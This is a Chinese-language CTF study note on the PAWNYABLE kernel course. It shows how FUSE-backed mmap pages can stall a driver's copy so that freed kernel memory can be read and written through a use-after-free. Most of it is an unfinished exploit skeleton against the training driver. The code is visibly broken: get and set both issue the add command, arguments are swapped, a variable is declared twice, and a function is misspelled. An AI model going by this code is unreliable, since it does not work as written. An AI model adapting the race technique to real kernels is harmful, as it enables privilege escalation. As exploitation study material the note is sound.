PAWNYABLE kernel FUSE 笔记
userfaultfd 可以在驱动读写数据的时候,触发中断,切换到用户空间。此时可以将数据释放,释放的内存被其他结构体占有,然后就能进行 uaf_read 或者 uaf_write,。
自 Linux kernel 5.11 版本起,非特权用户被禁止使用 userfaultfd 系统调用,但是我们仍能通过 FUSE 达成同样的效果(在用户空间实现文件系统的机制,本身不是一个文件系统)。
fuse 的使用
基本情况
fuse 的文件系统包括 CephFS、GlusterFS、ZFS、sshfs、mailfs。访问 FUSE 的文件系统,可以使用和内核文件系统相同的接口。
实现主要由三个部分组成
内核模块(fuse.ko) 这个内核模块不会处理实际的文件系统调用,而是将其进行封装为特定格式的fuse请求后发送给用户空间进程,等待用户空间进程处理完成并返回,接收处理返回结果转换为内核文件系统格式后再传递给 VFS。
用户空间库(libfuse.*)
挂载工具(fusermount) 实现普通用户对文件系统挂载和卸载。
一次系统调用的过程需要频繁在 userspace 和 kernel 间交换…效率堪忧。
libfuse 使用
可以参考 FUSE - OSDev Wiki 这个介绍,需要实现一些 hook 来操作 FUSE。
有两种操作,一种是 fuse_main 可以快速启动一个文件系统,自动调用事件循环,处理挂载、信号处理等。
int main(int argc, char *argv[]) {
return fuse_main(argc, argv, &fops, NULL);
}
另一种是具体使用 fuse_mount
、 fuse_new
和 fuse_loop_mt
提供了更大的灵活性,允许更精细地控制文件系统的行为。这种方式适用于需要更多定制的情况,特别是当需要进行多线程处理或其他复杂的配置时。
int main(int argc, char *argv[]) {
struct fuse_args args = FUSE_ARGS_INIT(argc, argv);
struct fuse_chan *chan;
struct fuse *fuse;
// 创建并挂载文件系统
chan = fuse_mount("/tmp/test", &args);
if (!chan)
fatal("fuse_mount");
// 创建 FUSE 会话
fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL);
if (!fuse)
fatal("fuse_new");
// 启动 FUSE 事件循环(多线程模式)
fuse_loop_mt(fuse);
// 卸载文件系统
fuse_unmount("/tmp/test", chan);
return 0;
}
如何用 FUSE 来实现稳定 race
可以参考 【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog 的介绍,很仔细哇。
简单说就是在内核模块读写数据的时候触发中断,此时把数据释放,就可以读写到新分配的其他数据结构的内容了。
不过 fuse 不能像 userfaultfd 一样,申请了 0x3000 的空间,每个页面第一次页面都可以触发中断,而是一旦访问一个页面,所有的 0x3000 都不会再次中断了。所以可以通过重复 open mmap 来解决这个问题。
exp 的思路
基本框架
基本的框架是这个样子,用 fuse_new 绑定上定义的 fuse callback,在新的线程里面初始化 fuse 加不会被 fuse_loop_mt 给阻塞。无论是读还是写页面都会到达 read_callback。
#define _GNU_SOURCE
#include <fuse.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/mman.h>
#include <errno.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define PAGE_SIZE 0x1000
#define BUF_SIZE 0x400
uint64_t user_cs, user_ss, user_rflags, user_sp;
cpu_set_t cpuset;
int setup_done = 0;
int fd;
typedef struct {
int id;
uint64_t size;
char *data;
} request_t;
int add(uint64_t size, char *data) {
request_t add_req = {.id = 0, .size = size, .data = data};
return ioctl(fd, CMD_ADD, &add_req);
}
void del(int id) {
request_t del_req = {.id = id};
ioctl(fd, CMD_DEL, &del_req);
}
void get(int id, uint64_t size, char *data) {
request_t get_req = {.id = id, .size = size, .data = data};
return ioctl(fd, CMD_ADD, &get_req);
}
void set(int id, uint64_t size, char *data) {
request_t set_req = {.id = id, .size = size, .data = data};
return ioctl(fd, CMD_ADD, &set_req);
}
int fuse_fd = -1;
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
char *mmap_fuse_file() {
// close old file
if (fuse_fd != -1) {
close(fuse_fd);
}
// mmap pages
if ((fuse_fd = open("/tmp/fuse", O_RDWR)) == -1) {
perror("open fuse file");
}
char *page =
mmap(0, PAGE_SIZE * 5, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd, 0);
if (page == MAP_FAILED) {
perror("mmap fuse file");
}
return page;
}
static int getattr_callback(const char *path, struct stat *stbuf) {
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/pwn") == 0) {
stbuf->st_mode = S_IFREG | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = 0x1000;
return 0;
}
return -ENOENT;
}
static int open_callback(const char *path, struct fuse_file_info *fi) {
puts("[+] open_callback");
return 0;
}
static int read_callback(const char *path, char *file_buf, size_t size,
off_t offset, struct fuse_file_info *fi) {
static int fault_cnt = 0;
printf("[+] read callback triggered");
if (strcmp("/tmp/fuse") == 0) {
switch (fault_cnt) {
case 0:
break;
default:
break;
}
}
}
static struct fuse_operations fops = {
.getattr = getattr_callback,
.open = open_callback,
.read = read_callback,
};
void *setup_fuse(void *arg) {
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan; // short for communication channel
struct fuse *fuse;
mkdir("/tmp/test", 0777);
chan = fuse_mount("/tmp/fuse", &args);
fuse = fuse_new(chan, &args, &fops);
if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset))
fatal("sched_setaffinity");
fuse_set_signal_handlers(fuse_get_session(fuse));
setup_done = 1;
fuse_loop_mt(fuse);
fuse_unmount("/tmp/test");
return NULL;
}
int main() {
save_status();
// setup cpu affinity
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset))
fatal("sched_setaffinity");
// setup fuse
pthread_t th;
pthread_create(&th, NULL, setup_fuse, NULL);
while (!setup_done)
; // 确保 fuse 已经启动
// open device
fd = open("/dev/fleckvieh", O_RDWR);
char *buf = mmalloc(BUF_SIZE);
// uaf read
char *page = mmap_fuse_file();
int uaf_read_id = add(buf, 0x400);
get(uaf_read_id, BUF_SIZE, page);
// uaf write
char *page = mmap_fuse_file();
int uaf_write_id = add(buf, 0x400);
set(uaf_read_id, BUF_SIZE, page);
}
fuse_loop_mt 是一个阻塞操作,只有放在其他线程,才能做其他操作
要让两个线程在同一个 cpu 上面运行,这样的话都属于同一个 cpu 资源才能按照顺序竞争?
读取或写入该区域时会出现页面错误,最终会调用read
。
libfuse 的 version 2 和 version 3 的版本不同可能,可以在一开始指定 fuse 的版本,比如
#define FUSE_USE_VERSION 29
fusermount: mount failed: Operation not permitted
fuse_mount: Operation not permitted
可能是静态编译的时候出现问题了: >常规的 libfuse 库并不支持静态编译,这使得我们无法像以往一样先静态编译一个 exp 再传到远程, 但万幸的是 libfuse 库是开源的**,安全研究员 BitsByWill 和 D3v17 将其进行了一些裁剪(裁剪掉了 dlopen 等,但还是很大…),做了一个可以供静态编译的 [libfuse3.a](https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/libfuse3.a) 及相关的头文件等(参见[这里](https://github.com/Crusaders-of-Rust/CVE-2022-0185)) 所以,编译命令就变成了:
gcc exp.c -I ./libfuse libfuse3.a -o exp -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
不过这个命令好像会导致 segmentation fault...还得找到匹配的 fuse version 2.9 的版本
参考
【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog